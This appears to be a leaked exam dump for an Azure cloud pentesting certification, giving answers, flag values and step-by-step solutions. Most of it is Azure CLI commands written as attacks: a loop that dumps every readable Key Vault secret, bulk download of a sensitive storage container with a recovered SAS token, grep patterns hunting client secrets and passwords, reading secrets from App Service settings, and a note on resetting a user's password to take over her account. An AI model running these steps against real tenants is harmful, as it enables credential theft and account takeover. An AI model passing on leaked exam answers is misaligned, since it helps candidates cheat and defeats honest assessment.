CCPenX-Az Exam Dumps - The SecOps Group Cloud Pentesting eXpert Questions and Answers

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

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Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

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Detailed Solution:

Resolve the service principal object ID:

az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv

Then list role assignments:

SP_OBJECT_ID=$(az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ----------- ----------------------------------------

< sp-object-id > Contributor /subscriptions/5d8e44ac-...

Correct answer:

B. Contributor

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The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

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olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role " User Access Administrator " \

--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

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Detailed Solution:

From Q7, you should recover a limited-access SAS token or storage access information.

Set the storage account name and SAS token:

ACCOUNT= " excaliburstore "

SAS= " < recovered-sas-token > "

List containers:

az storage container list \

--account-name " $ACCOUNT " \

--sas-token " $SAS " \

--output table

The available container is:

sensitive-files

You can also confirm directly:

az storage blob list \

--account-name " $ACCOUNT " \

--container-name sensitive-files \

--sas-token " $SAS " \

--output table

Final Answer:

C. sensitive-files

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Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

Detailed Solution:

Start by listing all Azure resources accessible to the compromised user.

az resource list --output table

The environment exposes at least these resources:

RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites

WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities

The most interesting target is the App Service:

RnD-Tools

Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.

Query the App Service application settings:

az webapp config appsettings list \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

Look for keys such as:

Flag

secret

password

token

connectionString

clientSecret

The exposed app setting contains:

{

" name " : " Flag " ,

" slotSetting " : false,

" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "

}

Final Answer:

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

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Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

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